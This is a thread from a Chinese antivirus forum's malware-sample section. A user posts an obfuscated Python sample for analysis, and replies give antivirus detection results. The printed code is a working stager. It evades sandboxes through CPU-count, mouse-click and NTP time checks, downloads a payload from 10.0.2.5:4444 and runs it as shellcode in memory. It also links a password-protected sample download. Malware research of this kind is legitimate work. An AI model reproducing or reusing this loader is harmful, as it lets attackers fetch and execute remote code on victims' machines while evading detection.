查看: 4213|回复: 36
收起左侧

[病毒样本] 连接网络的还混淆代码的屑

  [复制链接]
python无名氏
发表于 2023-1-31 11:46:00 | 显示全部楼层 |阅读模式
本帖最后由 python无名氏 于 2023-1-31 11:48 编辑

https://pan.huang1111.cn/s/5qNECl
是python源码,来自微歩
密码:infected
看见python源码竟然被8家大厂追着打,我就来兴趣了
下载后就发现代码被混淆了,体验一下
(自己用pyinstaller打包了一下,勉强能看出来好像是从某个地址下载了某个东西)

  1. import urllib.request, string, random, ctypes as mAHxJzWicdq
  2. import multiprocessing
  3. evmxlthULbS = multiprocessing.cpu_count()
  4. if evmxlthULbS >= 2:
  5.             import win32api
  6.             aQFUxNCwybL = 0
  7.             tgmRNfq = 1
  8.             while aQFUxNCwybL < tgmRNfq:
  9.                         MagMrGsgYo = win32api.GetAsyncKeyState(1)
  10.                         doWGkZlBYJnn = win32api.GetAsyncKeyState(2)
  11.                         if MagMrGsgYo % 2 == 1:
  12.                                     aQFUxNCwybL += 1
  13.                         if doWGkZlBYJnn % 2 == 1:
  14.                                     aQFUxNCwybL += 1
  15.             if aQFUxNCwybL >= tgmRNfq:
  16.                         from time import sleep
  17.                         from socket import AF_INET, SOCK_DGRAM
  18.                         import sys
  19.                         import datetime
  20.                         import time
  21.                         import socket
  22.                         import struct
  23.                         client = socket.socket(AF_INET, SOCK_DGRAM)
  24.                         client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
  25.                         msg, address = client.recvfrom( 1024 )
  26.                         eYUhIkphzndAani = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
  27.                         sleep(10)
  28.                         client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
  29.                         msg, address = client.recvfrom( 1024 )
  30.                         if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - eYUhIkphzndAani).seconds >= 10):
  31.                                     def GluJZnCXCgUZb(s): return sum([ord(ch) for ch in s]) % 0x100
  32.                                     def LHxIigbZn():
  33.                                         for x in range(64):
  34.                                                             GwSbpAA = ''.join(random.sample(string.ascii_letters + string.digits,3))
  35.                                                             tJQmLUaohh = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
  36.                                                             for EGMhSDb in tJQmLUaohh:
  37.                                                                         if GluJZnCXCgUZb(GwSbpAA + EGMhSDb) == 92: return GwSbpAA + EGMhSDb
  38.                                     def aajwhPWMiefdQN(dKWNvT, IkihHzP):
  39.                                                 JOnTBKvMsGEXmBM = urllib.request.ProxyHandler({})
  40.                                                 DcnWjzSGJ = urllib.request.build_opener(JOnTBKvMsGEXmBM)
  41.                                                 urllib.request.install_opener(DcnWjzSGJ)
  42.                                                 IYKbYEhSglo = urllib.request.Request("http://" + dKWNvT + ":" + str(IkihHzP) + "/" + LHxIigbZn(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})
  43.                                                 try:
  44.                                                             DFdmcXA = urllib.request.urlopen(IYKbYEhSglo)
  45.                                                             try:
  46.                                                                         if int(DFdmcXA.info()["Content-Length"]) > 100000: return DFdmcXA.read()
  47.                                                                         else: return ''
  48.                                                             except: return DFdmcXA.read()
  49.                                                 except urllib.request.URLError:
  50.                                                             return ''
  51.                                     def gzqdeymQkxrePds(PaBPXAGBNBIBaas):
  52.                                                 if PaBPXAGBNBIBaas != "":
  53.                                                             jhwIzDTcQ = bytearray(PaBPXAGBNBIBaas)
  54.                                                             cHXsUwpV = mAHxJzWicdq.windll.kernel32.VirtualAlloc(mAHxJzWicdq.c_int(0),mAHxJzWicdq.c_int(len(jhwIzDTcQ)), mAHxJzWicdq.c_int(0x3000),mAHxJzWicdq.c_int(0x40))
  55.                                                             euuyvvC = (mAHxJzWicdq.c_char * len(jhwIzDTcQ)).from_buffer(jhwIzDTcQ)
  56.                                                             mAHxJzWicdq.windll.kernel32.RtlMoveMemory(mAHxJzWicdq.c_int(cHXsUwpV),euuyvvC, mAHxJzWicdq.c_int(len(jhwIzDTcQ)))
  57.                                                             nzDcryOmiMzz = mAHxJzWicdq.windll.kernel32.CreateThread(mAHxJzWicdq.c_int(0),mAHxJzWicdq.c_int(0),mAHxJzWicdq.c_int(cHXsUwpV),mAHxJzWicdq.c_int(0),mAHxJzWicdq.c_int(0),mAHxJzWicdq.pointer(mAHxJzWicdq.c_int(0)))
  58.                                                             mAHxJzWicdq.windll.kernel32.WaitForSingleObject(mAHxJzWicdq.c_int(nzDcryOmiMzz),mAHxJzWicdq.c_int(-1))
  59.                                     iJTYhKzWTG = ''
  60.                                     iJTYhKzWTG = aajwhPWMiefdQN("10.0.2.5", 4444)
  61.                                     gzqdeymQkxrePds(iJTYhKzWTG)

复制代码
我学了四年python了都从未见过如此乱的代码,有没有高人分析一下
ShotGun
发表于 2023-1-31 11:47:59 | 显示全部楼层
KFA HEUR:Trojan.Win32.Generic
dght432
发表于 2023-1-31 11:50:16 | 显示全部楼层
类型:木马-HEUR/QVM10.2.01D6.Malware.Gen
描述:木马是一种伪装成正常文件的恶意软件,会盗取您的帐号、密码等隐私资料。
扫描引擎:云特征引擎
文件路径:C:\Users\Downloads\virus\virus.exe
文件大小:6.18M (6,477,614 字节)
文件指纹(MD5):bb66dd884162b0d79d410da6a45ce75c
处理建议:隔离文件
wangrui6666
发表于 2023-1-31 11:53:16 | 显示全部楼层
kis 21.3, kill

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
喀反
发表于 2023-1-31 11:59:11 | 显示全部楼层
360

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
熊小度
发表于 2023-1-31 12:53:59 | 显示全部楼层
本帖最后由 熊小度 于 2023-1-31 12:59 编辑

python运行啥事没有

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
huangzihang + 1 这个文件应该是干净的,过了遍沙盒,没啥行.

查看全部评分

wwwab
发表于 2023-1-31 13:00:06 | 显示全部楼层
熊小度 发表于 2023-1-31 12:53
python运行啥事没有

保存为py用idle跑下试试
biue
发表于 2023-1-31 13:19:55 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
熊小度
发表于 2023-1-31 13:32:53 | 显示全部楼层
wwwab 发表于 2023-1-31 13:00
保存为py用idle跑下试试

win32api库迟迟下载不下来
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-2 14:32 , Processed in 0.108992 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表